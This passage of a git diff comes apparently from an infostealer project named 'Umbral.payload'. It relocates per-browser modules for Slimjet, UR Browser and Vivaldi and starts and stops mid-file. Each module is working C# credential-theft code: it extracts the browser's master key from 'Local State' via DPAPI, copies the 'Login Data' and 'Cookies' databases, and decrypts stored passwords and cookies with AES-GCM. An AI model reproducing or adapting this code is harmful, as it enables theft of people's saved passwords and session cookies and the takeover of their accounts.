Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Slimjet.cs b/Umbral.payload/Components/Browsers/Slimjet.cs similarity index 96% rename from Umbral.payload/Browsers/Slimjet.cs rename to Umbral.payload/Components/Browsers/Slimjet.cs index 0cd066f..1c7f214 100644 --- a/Umbral.payload/Browsers/Slimjet.cs +++ b/Umbral.payload/Components/Browsers/Slimjet.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Slimjet - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Slimjet() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Slimjet", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Slimjet + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Slimjet() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Slimjet", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/UR.cs b/Umbral.payload/Components/Browsers/UR.cs similarity index 96% rename from Umbral.payload/Browsers/UR.cs rename to Umbral.payload/Components/Browsers/UR.cs index 5ef79cc..2047639 100644 --- a/Umbral.payload/Browsers/UR.cs +++ b/Umbral.payload/Components/Browsers/UR.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class UR - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static UR() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "UR Browser", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class UR + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static UR() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "UR Browser", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Vivaldi.cs b/Umbral.payload/Components/Browsers/Vivaldi.cs similarity index 96% rename from Umbral.payload/Browsers/Vivaldi.cs rename to Umbral.payload/Components/Browsers/Vivaldi.cs index 0405a30..5d6d389 100644 --- a/Umbral.payload/Browsers/Vivaldi.cs +++ b/Umbral.payload/Components/Browsers/Vivaldi.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Vivaldi - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Vivaldi() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Vivaldi", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Vivaldi + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Vivaldi() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Vivaldi", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in 